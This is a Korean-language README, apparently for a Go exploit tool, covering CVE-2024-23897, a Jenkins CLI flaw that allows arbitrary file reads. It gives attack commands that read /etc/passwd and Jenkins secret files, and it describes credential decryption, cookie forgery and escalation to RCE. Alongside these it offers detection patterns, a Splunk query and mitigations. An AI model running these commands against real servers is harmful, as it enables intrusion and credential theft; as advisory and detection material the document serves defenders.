
CVE-2024-23897: Jenkins 임의 파일 읽기로 인한 RCE
CVE-2024-23897: Jenkins 임의 파일 읽기로 인한 RCE 🎯 영향을 받는 제품 및 버전
제품: Jenkins(지속적 통합/지속적 배포 서버)
버전: Jenkins 2.441 이하, Jenkins LTS 2.426.2 이하
수정 버전: Jenkins 2.442, Jenkins LTS 2.426.3
📝 설명
CVE-2024-23897은 Jenkins에서 인증되지 않은 공격자가 Jenkins 컨트롤러 파일 시스템의 임의 파일을 읽을 수 있게 하는 치명적인 취약점입니다. 이 취약점은 Jenkins가 CLI 명령 파서의 기능 중 하나인 '@' 문자 뒤에 오는 파일 경로를 해당 파일의 내용으로 대체하는 기능을 비활성화하지 않기 때문에 발생합니다.
이 결함은 다른 기법과 결합될 경우 원격 코드 실행(RCE)으로 이어질 수 있어, CI/CD 파이프라인에서 Jenkins를 사용하는 조직에 특히 위험합니다.
🔍 취약점 세부 정보
근본 원인
이 취약점은 org.kohsuke.args4j.CmdLineParser 클래스의 expandAtFiles() 함수에서 비롯됩니다. CLI 인수를 파싱할 때 파서가 '@' 기호 다음에 파일 경로가 오는 것을 발견하면 해당 파일의 내용을 읽어 확장합니다.
공격 벡터
공격자는 인증 없이 Jenkins CLI 인터페이스를 통해 이 취약점을 악용할 수 있습니다:
bash
java -jar jenkins-cli.jar -s http://target-jenkins-server:8080/ help @/etc/passwd
기술적 분석
파일 읽기 제한 사항
인증이 없는 경우: 파일의 처음 3줄만 읽을 수 있음(CLI 명령에 따라 다름)
'Overall/Read' 권한이 있는 경우: 파일 전체 내용을 읽을 수 있음
바이너리 파일: 추출할 수 있지만 인코딩 문제의 영향을 받을 수 있음(Windows의 Windows-1252가 Linux의 UTF-8보다 더 나은 결과 제공)
공격 표면 확장
파일 읽기가 달성되면 공격자는 더 심각한 공격으로 확장할 수 있습니다:
자격 증명 추출:
암호화된 자격 증명을 위해 /var/jenkins_home/credentials.xml 읽기
복호화를 위해 /var/jenkins_home/secrets/master.key 및 hudson.util.Secret 읽기
Jenkins 스크립트 콘솔을 사용하여 자격 증명 복호화: println(Hudson.util.Secret.fromString("{XXX=}").getPlainText())
"Remember-me" 쿠키 위조:
인증 쿠키를 위조하여 관리자 액세스 권한 획득
임의 코드 실행:
Resource Root URL, XSS 또는 CSRF 벡터를 통해 RCE 달성
💥 영향
즉각적인 영향
기밀성: Jenkins 서버의 모든 파일(소스 코드, 자격 증명, SSH 키, 토큰) 완전 노출
무결성: 공격자가 빌드, 파이프라인 및 구성을 수정할 수 있음
가용성: 서비스 거부 또는 랜섬웨어 배포 가능성
실제 악용 사례
이 취약점은 실제 환경에서 활발히 악용되었습니다:
CISA KEV(Known Exploited Vulnerabilities) 카탈로그에 등록됨
랜섬웨어 갱(RansomEXX)이 인프라를 침해하는 데 사용됨
위협 행위자 IntelBroker가 GitHub 저장소를 탈취하고 IT 서비스 제공업체를 침해하는 데 악용됨
🔧 탐지
침해 지표(IoC)
성공적인 악용 시도는 다음을 통해 탐지할 수 있습니다:
HTTP 요청 패턴: text
POST /cli?remoting=false HTTP/1.1 Content-type: application/octet-stream [binary payload containing @/path/to/file]
일반적인 페이로드 예시:
@/etc/passwd
@/var/jenkins_home/secrets/initialAdminPassword
@/etc/os-release
Splunk 탐지 쿼리 text
index=web uri="/cli?remoting=false" http_method=POST http_status=200
🛡️ 완화 조치
공식 수정
패치된 버전으로 업그레이드하십시오:
Jenkins ≥ 2.442
Jenkins LTS ≥ 2.426.3
임시 완화 조치
즉시 패치가 불가능한 경우:
Jenkins CLI 액세스 비활성화
Java 시스템 속성 설정: hudson.cli.CLICommand.allowAtSyntax=false
Jenkins 관리 인터페이스에 대한 네트워크 액세스 제한
@/ 패턴을 포함하는 요청을 차단하는 WAF 규칙 구현
🔗 참고 자료
NVD 항목
Jenkins 보안 권고
CISA KEV 카탈로그
Splunk 연구
Tenable CVE 페이지
📦 빌드 및 실행 bash
go build -o jenkins-cve-2024-23897 exploit.go
./jenkins-cve-2024-23897 http://target-jenkins:8080 /etc/passwd
go run exploit.go http://target-jenkins:8080 /etc/passwd
🎯 사용 예시 bash
./jenkins-cve-2024-23897 http://jenkins.internal:8080 /etc/passwd ./jenkins-cve-2024-23897 http://localhost:8080 /var/jenkins_home/secrets/initialAdminPassword
./jenkins-cve-2024-23897 http://win-jenkins:8080 C:/Windows/win.ini
⚙️ 작동 방식
세션 초기화: 고유한 20바이트 세션 ID 생성
페이로드 구성: help @/path/to/file 구조의 바이너리 페이로드 생성
업로드 단계: Jenkins CLI 엔드포인트로 페이로드 전송
다운로드 단계: 응답에서 파일 내용 검색
출력: 파일 내용 또는 오류 메시지 표시
📊 기능
순수 Go 구현 - 외부 종속성 없음
크로스 플랫폼 - Windows, Linux, macOS에서 작동
구성 가능한 타임아웃 - 느린 네트워크에 맞게 조정 가능
깔끔한 오류 처리 - 상세한 오류 메시지
바이너리 안전 - 텍스트 및 바이너리 파일 모두 처리
⚠️ 중요 참고 사항
교육 목적으로만 사용 - 소유했거나 테스트 권한이 있는 시스템에서만 사용
인증 없는 읽기 - 인증이 없으면 처음 ~3줄만 읽을 수 있음
바이너리 파일 - 인코딩 문제의 영향을 받을 수 있음(더 나은 바이너리 추출을 위해 Windows 대상 사용)